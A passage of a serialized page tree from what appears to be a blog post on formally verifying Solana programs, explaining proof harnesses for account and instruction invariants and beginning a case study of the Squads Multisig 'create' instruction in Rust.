",{"type":23,"tag":504,"props":20672,"children":20674},{"className":20673},[3172,3038],[20675],{"type":28,"value":20676},"∈",{"type":23,"tag":504,"props":20678,"children":20680},{"className":20679},[3069,3038],[20681],{"type":23,"tag":504,"props":20682,"children":20684},{"className":20683},[3038],[20685],{"type":28,"value":20670},{"type":23,"tag":504,"props":20687,"children":20689},{"className":20688},[2988,28,3038],[20690],{"type":23,"tag":504,"props":20691,"children":20693},{"className":20692},[2988,3038],[20694],{"type":28,"value":20490},{"type":23,"tag":504,"props":20696,"children":20699},{"className":20697},[20698,3038],"mopen",[20700],{"type":28,"value":526},{"type":23,"tag":504,"props":20702,"children":20704},{"className":20703},[2988,20569,3038],[20705],{"type":28,"value":2124},{"type":23,"tag":504,"props":20707,"children":20709},{"className":20708},[2988,20569,3038],[20710],{"type":28,"value":20711},"t",{"type":23,"tag":504,"props":20713,"children":20715},{"className":20714},[2988,20569,3038],[20716],{"type":28,"value":18257},{"type":23,"tag":504,"props":20718,"children":20721},{"className":20719},[20720,3038],"mclose",[20722],{"type":28,"value":2105},{"type":23,"tag":504,"props":20724,"children":20727},{"className":20725},[20726],"vlist-s",[20728],{"type":28,"value":20729},"​",{"type":23,"tag":504,"props":20731,"children":20733},{"className":20732},[3015],[20734],{"type":23,"tag":504,"props":20735,"children":20738},{"className":20736,"style":20737},[3020],"height:0.4747em;",[20739],{"type":23,"tag":504,"props":20740,"children":20741},{},[],{"type":23,"tag":504,"props":20743,"children":20745},{"className":20744,"style":3108},[3069],[],{"type":23,"tag":504,"props":20747,"children":20749},{"className":20748},[2988],[20750,20760,20765,20770,20775],{"type":23,"tag":504,"props":20751,"children":20753},{"className":20752},[2988,28],[20754],{"type":23,"tag":504,"props":20755,"children":20757},{"className":20756},[2988],[20758],{"type":28,"value":20759},"invariant",{"type":23,"tag":504,"props":20761,"children":20763},{"className":20762},[20698],[20764],{"type":28,"value":526},{"type":23,"tag":504,"props":20766,"children":20768},{"className":20767},[2988,20569],[20769],{"type":28,"value":92},{"type":23,"tag":504,"props":20771,"children":20773},{"className":20772},[2988,20569],[20774],{"type":28,"value":20660},{"type":23,"tag":504,"props":20776,"children":20778},{"className":20777},[20720],[20779],{"type":28,"value":2105},{"type":23,"tag":24,"props":20781,"children":20782},{},[20783],{"type":23,"tag":56,"props":20784,"children":20786},{"className":20785},[2960,2961],[20787],{"type":23,"tag":504,"props":20788,"children":20790},{"className":20789},[2966],[20791],{"type":23,"tag":504,"props":20792,"children":20794},{"className":20793,"ariaHidden":2972},[2971],[20795,20826],{"type":23,"tag":504,"props":20796,"children":20798},{"className":20797},[2977],[20799,20803,20808,20813,20817,20822],{"type":23,"tag":504,"props":20800,"children":20802},{"className":20801,"style":20564},[2982],[],{"type":23,"tag":504,"props":20804,"children":20806},{"className":20805,"style":20570},[2988,20569],[20807],{"type":28,"value":20573},{"type":23,"tag":504,"props":20809,"children":20811},{"className":20810},[2988],[20812],{"type":28,"value":2991},{"type":23,"tag":504,"props":20814,"children":20816},{"className":20815,"style":3167},[3069],[],{"type":23,"tag":504,"props":20818,"children":20820},{"className":20819},[3172],[20821],{"type":28,"value":20588},{"type":23,"tag":504,"props":20823,"children":20825},{"className":20824,"style":3167},[3069],[],{"type":23,"tag":504,"props":20827,"children":20829},{"className":20828},[2977],[20830,20834,20957,20961],{"type":23,"tag":504,"props":20831,"children":20833},{"className":20832,"style":20600},[2982],[],{"type":23,"tag":504,"props":20835,"children":20837},{"className":20836},[20605],[20838,20843],{"type":23,"tag":504,"props":20839,"children":20841},{"className":20840,"style":20612},[20605,20610,20611],[20842],{"type":28,"value":20615},{"type":23,"tag":504,"props":20844,"children":20846},{"className":20845},[3005],[20847],{"type":23,"tag":504,"props":20848,"children":20850},{"className":20849},[3010,20623],[20851,20946],{"type":23,"tag":504,"props":20852,"children":20854},{"className":20853},[3015],[20855,20941],{"type":23,"tag":504,"props":20856,"children":20858},{"className":20857,"style":20632},[3020],[20859],{"type":23,"tag":504,"props":20860,"children":20861},{"style":20636},[20862,20866],{"type":23,"tag":504,"props":20863,"children":20865},{"className":20864,"style":3030},[3029],[],{"type":23,"tag":504,"props":20867,"children":20869},{"className":20868},[3035,3036,3037,3038],[20870],{"type":23,"tag":504,"props":20871,"children":20873},{"className":20872},[2988,3038],[20874,20879,20884,20893,20898,20907,20916,20921,20926,20931,20936],{"type":23,"tag":504,"props":20875,"children":20877},{"className":20876},[2988,20569,3038],[20878],{"type":28,"value":92},{"type":23,"tag":504,"props":20880,"children":20882},{"className":20881},[2988,20569,3038],[20883],{"type":28,"value":20660},{"type":23,"tag":504,"props":20885,"children":20887},{"className":20886},[3069,3038],[20888],{"type":23,"tag":504,"props":20889,"children":20891},{"className":20890},[3038],[20892],{"type":28,"value":20670},{"type":23,"tag":504,"props":20894,"children":20896},{"className":20895},[3172,3038],[20897],{"type":28,"value":20676},{"type":23,"tag":504,"props":20899,"children":20901},{"className":20900},[3069,3038],[20902],{"type":23,"tag":504,"props":20903,"children":20905},{"className":20904},[3038],[20906],{"type":28,"value":20670},{"type":23,"tag":504,"props":20908,"children":20910},{"className":20909},[2988,28,3038],[20911],{"type":23,"tag":504,"props":20912,"children":20914},{"className":20913},[2988,3038],[20915],{"type":28,"value":20510},{"type":23,"tag":504,"props":20917,"children":20919},{"className":20918},[20698,3038],[20920],{"type":28,"value":526},{"type":23,"tag":504,"props":20922,"children":20924},{"className":20923},[2988,20569,3038],[20925],{"type":28,"value":2124},{"type":23,"tag":504,"props":20927,"children":20929},{"className":20928},[2988,20569,3038],[20930],{"type":28,"value":20711},{"type":23,"tag":504,"props":20932,"children":20934},{"className":20933},[2988,20569,3038],[20935],{"type":28,"value":18257},{"type":23,"tag":504,"props":20937,"children":20939},{"className":20938},[20720,3038],[20940],{"type":28,"value":2105},{"type":23,"tag":504,"props":20942,"children":20944},{"className":20943},[20726],[20945],{"type":28,"value":20729},{"type":23,"tag":504,"props":20947,"children":20949},{"className":20948},[3015],[20950],{"type":23,"tag":504,"props":20951,"children":20953},{"className":20952,"style":20737},[3020],[20954],{"type":23,"tag":504,"props":20955,"children":20956},{},[],{"type":23,"tag":504,"props":20958,"children":20960},{"className":20959,"style":3108},[3069],[],{"type":23,"tag":504,"props":20962,"children":20964},{"className":20963},[2988],[20965,20974,20979,20984,20989],{"type":23,"tag":504,"props":20966,"children":20968},{"className":20967},[2988,28],[20969],{"type":23,"tag":504,"props":20970,"children":20972},{"className":20971},[2988],[20973],{"type":28,"value":20759},{"type":23,"tag":504,"props":20975,"children":20977},{"className":20976},[20698],[20978],{"type":28,"value":526},{"type":23,"tag":504,"props":20980,"children":20982},{"className":20981},[2988,20569],[20983],{"type":28,"value":92},{"type":23,"tag":504,"props":20985,"children":20987},{"className":20986},[2988,20569],[20988],{"type":28,"value":20660},{"type":23,"tag":504,"props":20990,"children":20992},{"className":20991},[20720],[20993],{"type":28,"value":2105},{"type":23,"tag":24,"props":20995,"children":20996},{},[20997],{"type":28,"value":20998},"Our instruction invariants are represented as:",{"type":23,"tag":350,"props":21000,"children":21001},{},[21002,21038],{"type":23,"tag":45,"props":21003,"children":21004},{},[21005,21032,21033],{"type":23,"tag":56,"props":21006,"children":21008},{"className":21007},[2960,2961],[21009],{"type":23,"tag":504,"props":21010,"children":21012},{"className":21011},[2966],[21013],{"type":23,"tag":504,"props":21014,"children":21016},{"className":21015,"ariaHidden":2972},[2971],[21017],{"type":23,"tag":504,"props":21018,"children":21020},{"className":21019},[2977],[21021,21025],{"type":23,"tag":504,"props":21022,"children":21024},{"className":21023,"style":20564},[2982],[],{"type":23,"tag":504,"props":21026,"children":21029},{"className":21027,"style":21028},[2988,20569],"margin-right:0.05764em;",[21030],{"type":28,"value":21031},"S",{"type":28,"value":14311},{"type":23,"tag":56,"props":21034,"children":21036},{"className":21035},[],[21037],{"type":28,"value":19136},{"type":23,"tag":45,"props":21039,"children":21040},{},[21041,21067,21068],{"type":23,"tag":56,"props":21042,"children":21044},{"className":21043},[2960,2961],[21045],{"type":23,"tag":504,"props":21046,"children":21048},{"className":21047},[2966],[21049],{"type":23,"tag":504,"props":21050,"children":21052},{"className":21051,"ariaHidden":2972},[2971],[21053],{"type":23,"tag":504,"props":21054,"children":21056},{"className":21055},[2977],[21057,21061],{"type":23,"tag":504,"props":21058,"children":21060},{"className":21059,"style":20564},[2982],[],{"type":23,"tag":504,"props":21062,"children":21064},{"className":21063,"style":21028},[2988,20569],[21065],{"type":28,"value":21066},"E",{"type":28,"value":14311},{"type":23,"tag":56,"props":21069,"children":21071},{"className":21070},[],[21072],{"type":28,"value":19143},{"type":23,"tag":24,"props":21074,"children":21075},{},[21076,21078,21105,21107,21112,21114,21120],{"type":28,"value":21077},"And ",{"type":23,"tag":56,"props":21079,"children":21081},{"className":21080},[2960,2961],[21082],{"type":23,"tag":504,"props":21083,"children":21085},{"className":21084},[2966],[21086],{"type":23,"tag":504,"props":21087,"children":21089},{"className":21088,"ariaHidden":2972},[2971],[21090],{"type":23,"tag":504,"props":21091,"children":21093},{"className":21092},[2977],[21094,21098],{"type":23,"tag":504,"props":21095,"children":21097},{"className":21096,"style":20564},[2982],[],{"type":23,"tag":504,"props":21099,"children":21102},{"className":21100,"style":21101},[2988,20569],"margin-right:0.07153em;",[21103],{"type":28,"value":21104},"K",{"type":28,"value":21106}," represents whether the instruction actually succeeds (i.e. invoking the handler returned an ",{"type":23,"tag":56,"props":21108,"children":21110},{"className":21109},[],[21111],{"type":28,"value":19471},{"type":28,"value":21113}," not an ",{"type":23,"tag":56,"props":21115,"children":21117},{"className":21116},[],[21118],{"type":28,"value":21119},"Err",{"type":28,"value":270},{"type":23,"tag":24,"props":21122,"children":21123},{},[21124],{"type":28,"value":21125},"In order to verify these conditions we need to verify three cases:",{"type":23,"tag":82,"props":21127,"children":21129},{"id":21128},"account-invariants-1",[21130],{"type":28,"value":21131},"Account invariants",{"type":23,"tag":24,"props":21133,"children":21134},{},[21135,21137,21168,21170,21200,21202,21232],{"type":28,"value":21136},"After we execute an instruction, either the function should error and be reverted (",{"type":23,"tag":56,"props":21138,"children":21140},{"className":21139},[2960,2961],[21141],{"type":23,"tag":504,"props":21142,"children":21144},{"className":21143},[2966],[21145],{"type":23,"tag":504,"props":21146,"children":21148},{"className":21147,"ariaHidden":2972},[2971],[21149],{"type":23,"tag":504,"props":21150,"children":21152},{"className":21151},[2977],[21153,21157,21163],{"type":23,"tag":504,"props":21154,"children":21156},{"className":21155,"style":20564},[2982],[],{"type":23,"tag":504,"props":21158,"children":21160},{"className":21159},[2988],[21161],{"type":28,"value":21162},"¬",{"type":23,"tag":504,"props":21164,"children":21166},{"className":21165,"style":21101},[2988,20569],[21167],{"type":28,"value":21104},{"type":28,"value":21169},") or the account post-invariants should hold (",{"type":23,"tag":56,"props":21171,"children":21173},{"className":21172},[2960,2961],[21174],{"type":23,"tag":504,"props":21175,"children":21177},{"className":21176},[2966],[21178],{"type":23,"tag":504,"props":21179,"children":21181},{"className":21180,"ariaHidden":2972},[2971],[21182],{"type":23,"tag":504,"props":21183,"children":21185},{"className":21184},[2977],[21186,21190,21195],{"type":23,"tag":504,"props":21187,"children":21189},{"className":21188,"style":20564},[2982],[],{"type":23,"tag":504,"props":21191,"children":21193},{"className":21192,"style":20570},[2988,20569],[21194],{"type":28,"value":20573},{"type":23,"tag":504,"props":21196,"children":21198},{"className":21197},[2988],[21199],{"type":28,"value":2991},{"type":28,"value":21201},"). Furthermore, we can assume that before executing a function, the account pre-invariants (",{"type":23,"tag":56,"props":21203,"children":21205},{"className":21204},[2960,2961],[21206],{"type":23,"tag":504,"props":21207,"children":21209},{"className":21208},[2966],[21210],{"type":23,"tag":504,"props":21211,"children":21213},{"className":21212,"ariaHidden":2972},[2971],[21214],{"type":23,"tag":504,"props":21215,"children":21217},{"className":21216},[2977],[21218,21222,21227],{"type":23,"tag":504,"props":21219,"children":21221},{"className":21220,"style":20564},[2982],[],{"type":23,"tag":504,"props":21223,"children":21225},{"className":21224,"style":20570},[2988,20569],[21226],{"type":28,"value":20573},{"type":23,"tag":504,"props":21228,"children":21230},{"className":21229},[2988],[21231],{"type":28,"value":3001},{"type":28,"value":21233},") should hold since we will verify all of the functions eventually.",{"type":23,"tag":24,"props":21235,"children":21236},{},[21237,21239],{"type":28,"value":21238},"So we are trying to prove that ",{"type":23,"tag":56,"props":21240,"children":21242},{"className":21241},[2960,2961],[21243],{"type":23,"tag":504,"props":21244,"children":21246},{"className":21245},[2966],[21247],{"type":23,"tag":504,"props":21248,"children":21250},{"className":21249,"ariaHidden":2972},[2971],[21251,21288,21320],{"type":23,"tag":504,"props":21252,"children":21254},{"className":21253},[2977],[21255,21259,21264,21269,21274,21278,21284],{"type":23,"tag":504,"props":21256,"children":21258},{"className":21257,"style":3090},[2982],[],{"type":23,"tag":504,"props":21260,"children":21262},{"className":21261},[20698],[21263],{"type":28,"value":526},{"type":23,"tag":504,"props":21265,"children":21267},{"className":21266,"style":20570},[2988,20569],[21268],{"type":28,"value":20573},{"type":23,"tag":504,"props":21270,"children":21272},{"className":21271},[2988],[21273],{"type":28,"value":3001},{"type":23,"tag":504,"props":21275,"children":21277},{"className":21276,"style":3070},[3069],[],{"type":23,"tag":504,"props":21279,"children":21281},{"className":21280},[3075],[21282],{"type":28,"value":21283},"∧",{"type":23,"tag":504,"props":21285,"children":21287},{"className":21286,"style":3070},[3069],[],{"type":23,"tag":504,"props":21289,"children":21291},{"className":21290},[2977],[21292,21296,21301,21306,21310,21316],{"type":23,"tag":504,"props":21293,"children":21295},{"className":21294,"style":3090},[2982],[],{"type":23,"tag":504,"props":21297,"children":21299},{"className":21298,"style":21101},[2988,20569],[21300],{"type":28,"value":21104},{"type":23,"tag":504,"props":21302,"children":21304},{"className":21303},[20720],[21305],{"type":28,"value":2105},{"type":23,"tag":504,"props":21307,"children":21309},{"className":21308,"style":3167},[3069],[],{"type":23,"tag":504,"props":21311,"children":21313},{"className":21312},[3172],[21314],{"type":28,"value":21315},"→",{"type":23,"tag":504,"props":21317,"children":21319},{"className":21318,"style":3167},[3069],[],{"type":23,"tag":504,"props":21321,"children":21323},{"className":21322},[2977],[21324,21328,21333],{"type":23,"tag":504,"props":21325,"children":21327},{"className":21326,"style":20564},[2982],[],{"type":23,"tag":504,"props":21329,"children":21331},{"className":21330,"style":20570},[2988,20569],[21332],{"type":28,"value":20573},{"type":23,"tag":504,"props":21334,"children":21336},{"className":21335},[2988],[21337],{"type":28,"value":2991},{"type":23,"tag":24,"props":21339,"children":21340},{},[21341],{"type":28,"value":21342},"We can construct a proof harness like the following:",{"type":23,"tag":494,"props":21344,"children":21346},{"code":21345,"language":18442,"meta":7,"className":18443,"style":7},"assume(P0)\nres = instruction_handler(...)\nassert(!K || P1)\n",[21347],{"type":23,"tag":56,"props":21348,"children":21349},{"__ignoreMap":7},[21350,21358,21375],{"type":23,"tag":504,"props":21351,"children":21352},{"class":506,"line":507},[21353],{"type":23,"tag":504,"props":21354,"children":21355},{"style":523},[21356],{"type":28,"value":21357},"assume(P0)\n",{"type":23,"tag":504,"props":21359,"children":21360},{"class":506,"line":540},[21361,21366,21370],{"type":23,"tag":504,"props":21362,"children":21363},{"style":523},[21364],{"type":28,"value":21365},"res ",{"type":23,"tag":504,"props":21367,"children":21368},{"style":598},[21369],{"type":28,"value":601},{"type":23,"tag":504,"props":21371,"children":21372},{"style":523},[21373],{"type":28,"value":21374}," instruction_handler(...)\n",{"type":23,"tag":504,"props":21376,"children":21377},{"class":506,"line":555},[21378,21382,21386,21391,21396,21401],{"type":23,"tag":504,"props":21379,"children":21380},{"style":544},[21381],{"type":28,"value":18966},{"type":23,"tag":504,"props":21383,"children":21384},{"style":523},[21385],{"type":28,"value":526},{"type":23,"tag":504,"props":21387,"children":21389},{"style":21388},"--shiki-default:#F44747",[21390],{"type":28,"value":19603},{"type":23,"tag":504,"props":21392,"children":21393},{"style":523},[21394],{"type":28,"value":21395},"K ",{"type":23,"tag":504,"props":21397,"children":21398},{"style":21388},[21399],{"type":28,"value":21400},"||",{"type":23,"tag":504,"props":21402,"children":21403},{"style":523},[21404],{"type":28,"value":21405}," P1)\n",{"type":23,"tag":24,"props":21407,"children":21408},{},[21409],{"type":28,"value":21410},"By itself, this harness doesn't actually prove much. For example, if the instruction fails every time, this proof will still work. However, in conjunction with the two subsequent proofs we can be assured that the instruction will actually succeed when we expect it to.",{"type":23,"tag":82,"props":21412,"children":21414},{"id":21413},"positive-instruction-invariant",[21415],{"type":28,"value":21416},"Positive instruction invariant",{"type":23,"tag":24,"props":21418,"children":21419},{},[21420,21422,21428,21430,21481],{"type":28,"value":21421},"Next we need to prove that ",{"type":23,"tag":56,"props":21423,"children":21425},{"className":21424},[],[21426],{"type":28,"value":21427},"success_if",{"type":28,"value":21429}," is a sufficient condition for instruction success. I.e. ",{"type":23,"tag":56,"props":21431,"children":21433},{"className":21432},[2960,2961],[21434],{"type":23,"tag":504,"props":21435,"children":21437},{"className":21436},[2966],[21438],{"type":23,"tag":504,"props":21439,"children":21441},{"className":21440,"ariaHidden":2972},[2971],[21442,21468],{"type":23,"tag":504,"props":21443,"children":21445},{"className":21444},[2977],[21446,21450,21455,21459,21464],{"type":23,"tag":504,"props":21447,"children":21449},{"className":21448,"style":20564},[2982],[],{"type":23,"tag":504,"props":21451,"children":21453},{"className":21452,"style":21028},[2988,20569],[21454],{"type":28,"value":21031},{"type":23,"tag":504,"props":21456,"children":21458},{"className":21457,"style":3167},[3069],[],{"type":23,"tag":504,"props":21460,"children":21462},{"className":21461},[3172],[21463],{"type":28,"value":21315},{"type":23,"tag":504,"props":21465,"children":21467},{"className":21466,"style":3167},[3069],[],{"type":23,"tag":504,"props":21469,"children":21471},{"className":21470},[2977],[21472,21476],{"type":23,"tag":504,"props":21473,"children":21475},{"className":21474,"style":20564},[2982],[],{"type":23,"tag":504,"props":21477,"children":21479},{"className":21478,"style":21101},[2988,20569],[21480],{"type":28,"value":21104},{"type":28,"value":320},{"type":23,"tag":24,"props":21483,"children":21484},{},[21485],{"type":28,"value":21486},"Just like before we can construct a proof harness:",{"type":23,"tag":494,"props":21488,"children":21490},{"code":21489,"language":18442,"meta":7,"className":18443,"style":7},"assume(S)\nres = instruction_handler(...)\nassert(K)\n",[21491],{"type":23,"tag":56,"props":21492,"children":21493},{"__ignoreMap":7},[21494,21502,21517],{"type":23,"tag":504,"props":21495,"children":21496},{"class":506,"line":507},[21497],{"type":23,"tag":504,"props":21498,"children":21499},{"style":523},[21500],{"type":28,"value":21501},"assume(S)\n",{"type":23,"tag":504,"props":21503,"children":21504},{"class":506,"line":540},[21505,21509,21513],{"type":23,"tag":504,"props":21506,"children":21507},{"style":523},[21508],{"type":28,"value":21365},{"type":23,"tag":504,"props":21510,"children":21511},{"style":598},[21512],{"type":28,"value":601},{"type":23,"tag":504,"props":21514,"children":21515},{"style":523},[21516],{"type":28,"value":21374},{"type":23,"tag":504,"props":21518,"children":21519},{"class":506,"line":555},[21520,21524],{"type":23,"tag":504,"props":21521,"children":21522},{"style":544},[21523],{"type":28,"value":18966},{"type":23,"tag":504,"props":21525,"children":21526},{"style":523},[21527],{"type":28,"value":21528},"(K)\n",{"type":23,"tag":24,"props":21530,"children":21531},{},[21532,21534,21539,21541,21553],{"type":28,"value":21533},"This proof assures that whenever ",{"type":23,"tag":56,"props":21535,"children":21537},{"className":21536},[],[21538],{"type":28,"value":19136},{"type":28,"value":21540}," is satisfied, the instruction will succeed. However, remember that since this is not a biconditional, the instruction may also succeed ",{"type":23,"tag":1887,"props":21542,"children":21543},{},[21544,21546,21551],{"type":28,"value":21545},"even if ",{"type":23,"tag":56,"props":21547,"children":21549},{"className":21548},[],[21550],{"type":28,"value":19136},{"type":28,"value":21552}," is not satisfied",{"type":28,"value":21554},". To specify explicit error conditions we need our third and final proof.",{"type":23,"tag":82,"props":21556,"children":21558},{"id":21557},"_3-negative-instruction-invariant",[21559],{"type":28,"value":21560},"3. Negative instruction invariant",{"type":23,"tag":24,"props":21562,"children":21563},{},[21564,21566,21571,21573,21629],{"type":28,"value":21565},"Finally, we want to prove that ",{"type":23,"tag":56,"props":21567,"children":21569},{"className":21568},[],[21570],{"type":28,"value":19143},{"type":28,"value":21572}," is a sufficient condition for instruction failure. I.e. ",{"type":23,"tag":56,"props":21574,"children":21576},{"className":21575},[2960,2961],[21577],{"type":23,"tag":504,"props":21578,"children":21580},{"className":21579},[2966],[21581],{"type":23,"tag":504,"props":21582,"children":21584},{"className":21583,"ariaHidden":2972},[2971],[21585,21611],{"type":23,"tag":504,"props":21586,"children":21588},{"className":21587},[2977],[21589,21593,21598,21602,21607],{"type":23,"tag":504,"props":21590,"children":21592},{"className":21591,"style":20564},[2982],[],{"type":23,"tag":504,"props":21594,"children":21596},{"className":21595,"style":21028},[2988,20569],[21597],{"type":28,"value":21066},{"type":23,"tag":504,"props":21599,"children":21601},{"className":21600,"style":3167},[3069],[],{"type":23,"tag":504,"props":21603,"children":21605},{"className":21604},[3172],[21606],{"type":28,"value":21315},{"type":23,"tag":504,"props":21608,"children":21610},{"className":21609,"style":3167},[3069],[],{"type":23,"tag":504,"props":21612,"children":21614},{"className":21613},[2977],[21615,21619,21624],{"type":23,"tag":504,"props":21616,"children":21618},{"className":21617,"style":20564},[2982],[],{"type":23,"tag":504,"props":21620,"children":21622},{"className":21621},[2988],[21623],{"type":28,"value":21162},{"type":23,"tag":504,"props":21625,"children":21627},{"className":21626,"style":21101},[2988,20569],[21628],{"type":28,"value":21104},{"type":28,"value":320},{"type":23,"tag":24,"props":21631,"children":21632},{},[21633],{"type":28,"value":21634},"This harness looks just like the previous one:",{"type":23,"tag":494,"props":21636,"children":21638},{"code":21637,"language":18442,"meta":7,"className":18443,"style":7},"assume(E)\nres = instruction_handler(...)\nassert(!K)\n",[21639],{"type":23,"tag":56,"props":21640,"children":21641},{"__ignoreMap":7},[21642,21650,21665],{"type":23,"tag":504,"props":21643,"children":21644},{"class":506,"line":507},[21645],{"type":23,"tag":504,"props":21646,"children":21647},{"style":523},[21648],{"type":28,"value":21649},"assume(E)\n",{"type":23,"tag":504,"props":21651,"children":21652},{"class":506,"line":540},[21653,21657,21661],{"type":23,"tag":504,"props":21654,"children":21655},{"style":523},[21656],{"type":28,"value":21365},{"type":23,"tag":504,"props":21658,"children":21659},{"style":598},[21660],{"type":28,"value":601},{"type":23,"tag":504,"props":21662,"children":21663},{"style":523},[21664],{"type":28,"value":21374},{"type":23,"tag":504,"props":21666,"children":21667},{"class":506,"line":555},[21668,21672,21676,21680],{"type":23,"tag":504,"props":21669,"children":21670},{"style":544},[21671],{"type":28,"value":18966},{"type":23,"tag":504,"props":21673,"children":21674},{"style":523},[21675],{"type":28,"value":526},{"type":23,"tag":504,"props":21677,"children":21678},{"style":21388},[21679],{"type":28,"value":19603},{"type":23,"tag":504,"props":21681,"children":21682},{"style":523},[21683],{"type":28,"value":21684},"K)\n",{"type":23,"tag":24,"props":21686,"children":21687},{},[21688,21690,21694],{"type":28,"value":21689},"With these three harnesses, we are now able to formally verify that instructions succeed or fail when we expect them to ",{"type":23,"tag":1887,"props":21691,"children":21692},{},[21693],{"type":28,"value":15350},{"type":28,"value":21695}," the account invariants we expect are always being preserved.",{"type":23,"tag":70,"props":21697,"children":21699},{"id":21698},"case-study-squads-multisig",[21700],{"type":28,"value":21701},"Case study: Squads Multisig",{"type":23,"tag":24,"props":21703,"children":21704},{},[21705,21707,21712],{"type":28,"value":21706},"During our research, we focused on formally verifying aspects of the ",{"type":23,"tag":92,"props":21708,"children":21710},{"href":17805,"rel":21709},[96],[21711],{"type":28,"value":17809},{"type":28,"value":320},{"type":23,"tag":24,"props":21714,"children":21715},{},[21716,21718,21724,21726,21732],{"type":28,"value":21717},"The program defines a Multisig account (",{"type":23,"tag":56,"props":21719,"children":21721},{"className":21720},[],[21722],{"type":28,"value":21723},"Ms",{"type":28,"value":21725},") which has multiple members. These members can propose and then vote on transactions to execute on behalf of the multisig. If at least some ",{"type":23,"tag":56,"props":21727,"children":21729},{"className":21728},[],[21730],{"type":28,"value":21731},"threshold",{"type":28,"value":21733}," of members vote yes, the transaction will be invoked. Additionally, there is functionality to add/remove users and update the threshold.",{"type":23,"tag":24,"props":21735,"children":21736},{},[21737],{"type":28,"value":21738},"In practice, this structure provides a useful way to distribute authority across a group of individuals. From a formal verification perspective, it has both stateless and stateful features and constraints that provided a good testbed for our tooling.",{"type":23,"tag":24,"props":21740,"children":21741},{},[21742],{"type":28,"value":21743},"In this section we will go through a few examples of properties that we can verify on this program:",{"type":23,"tag":41,"props":21745,"children":21746},{},[21747,21752,21757,21762],{"type":23,"tag":45,"props":21748,"children":21749},{},[21750],{"type":28,"value":21751},"Incrementally verifying minimum requirements to create a multisig",{"type":23,"tag":45,"props":21753,"children":21754},{},[21755],{"type":28,"value":21756},"Verify threshold requirements",{"type":23,"tag":45,"props":21758,"children":21759},{},[21760],{"type":28,"value":21761},"Verify requirements to remove a member",{"type":23,"tag":45,"props":21763,"children":21764},{},[21765],{"type":28,"value":21766},"Safety guarantees",{"type":23,"tag":82,"props":21768,"children":21770},{"id":21769},"_1-incrementally-verifying-minimum-requirements-to-create-a-multisig",[21771],{"type":28,"value":21772},"1. Incrementally verifying minimum requirements to create a multisig",{"type":23,"tag":24,"props":21774,"children":21775},{},[21776,21778,21783],{"type":28,"value":21777},"Suppose we want to verify the minimum requirements to create a multisig, i.e. the ",{"type":23,"tag":56,"props":21779,"children":21781},{"className":21780},[],[21782],{"type":28,"value":19136},{"type":28,"value":21784}," expression.",{"type":23,"tag":24,"props":21786,"children":21787},{},[21788,21790,21795,21797,21803],{"type":28,"value":21789},"Creating a multisig (",{"type":23,"tag":56,"props":21791,"children":21793},{"className":21792},[],[21794],{"type":28,"value":21723},{"type":28,"value":21796},") requires invoking the ",{"type":23,"tag":56,"props":21798,"children":21800},{"className":21799},[],[21801],{"type":28,"value":21802},"create",{"type":28,"value":21804}," instruction:",{"type":23,"tag":494,"props":21806,"children":21808},{"code":21807,"language":1956,"meta":7,"className":1957,"style":7},"#[derive(Accounts)]\n#[instruction(threshold: u16, create_key: Pubkey, members: Vec\u003CPubkey>)]\npub struct Create\u003C'info> {\n    #[account(\n        init,\n        payer = creator,\n        space = Ms::SIZE_WITHOUT_MEMBERS + (members.len() * 32),\n        seeds = [b\"squad\", create_key.as_ref(), b\"multisig\"], bump\n    )]\n    pub multisig: Account\u003C'info, Ms>,\n\n    #[account(mut)]\n    pub creator: Signer\u003C'info>,\n    pub system_program: Program\u003C'info, System>,\n}\n\npub fn create(\n    ctx: Context\u003CCreate>,\n    threshold: u16,\n    create_key: Pubkey,\n    members: Vec\u003CPubkey>,\n) -> Result\u003C()> {\n    // sort the members and remove duplicates\n    let mut members = members;\n    members.sort();\n    members.dedup();\n\n    // check we don't exceed u16\n    let total_members = members.len();\n    if total_members \u003C 1 {\n        return err!(MsError::EmptyMembers);\n    }\n\n    // make sure we don't exceed u16 on first call\n    if total_members > usize::from(u16::MAX) {\n        return err!(MsError::MaxMembersReached);\n    }\n\n    // make sure threshold is valid\n    if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n        return err!(MsError::InvalidThreshold);\n    }\n\n    ctx.accounts.multisig.init(\n        threshold,\n        create_key,\n        members,\n        *ctx.bumps.get(\"multisig\").unwrap(),\n    )\n}\n",[21809],{"type":23,"tag":56,"props":21810,"children":21811},{"__ignoreMap":7},[21812,21829,21884,21914,21922,21930,21947,21998,22047,22055,22096,22103,22119,22152,22194,22201,22208,22227,22255,22275,22295,22323,22342,22350,22378,22398,22418,22425,22433,22465,22488,22522,22529,22536,22544,22585,22617,22624,22631,22639,22714,22746,22753,22760,22797,22810,22823,22836,22890,22899],{"type":23,"tag":504,"props":21813,"children":21814},{"class":506,"line":507},[21815,21820,21825],{"type":23,"tag":504,"props":21816,"children":21817},{"style":523},[21818],{"type":28,"value":21819},"#[derive(",{"type":23,"tag":504,"props":21821,"children":21822},{"style":1012},[21823],{"type":28,"value":21824},"Accounts",{"type":23,"tag":504,"props":21826,"children":21827},{"style":523},[21828],{"type":28,"value":19240},{"type":23,"tag":504,"props":21830,"children":21831},{"class":506,"line":540},[21832,21837,21841,21845,21850,21854,21858,21863,21867,21871,21875,21879],{"type":23,"tag":504,"props":21833,"children":21834},{"style":523},[21835],{"type":28,"value":21836},"#[instruction(threshold",{"type":23,"tag":504,"props":21838,"children":21839},{"style":598},[21840],{"type":28,"value":3472},{"type":23,"tag":504,"props":21842,"children":21843},{"style":1012},[21844],{"type":28,"value":20011},{"type":23,"tag":504,"props":21846,"children":21847},{"style":523},[21848],{"type":28,"value":21849},", create_key",{"type":23,"tag":504,"props":21851,"children":21852},{"style":598},[21853],{"type":28,"value":3472},{"type":23,"tag":504,"props":21855,"children":21856},{"style":1012},[21857],{"type":28,"value":19838},{"type":23,"tag":504,"props":21859,"children":21860},{"style":523},[21861],{"type":28,"value":21862},", 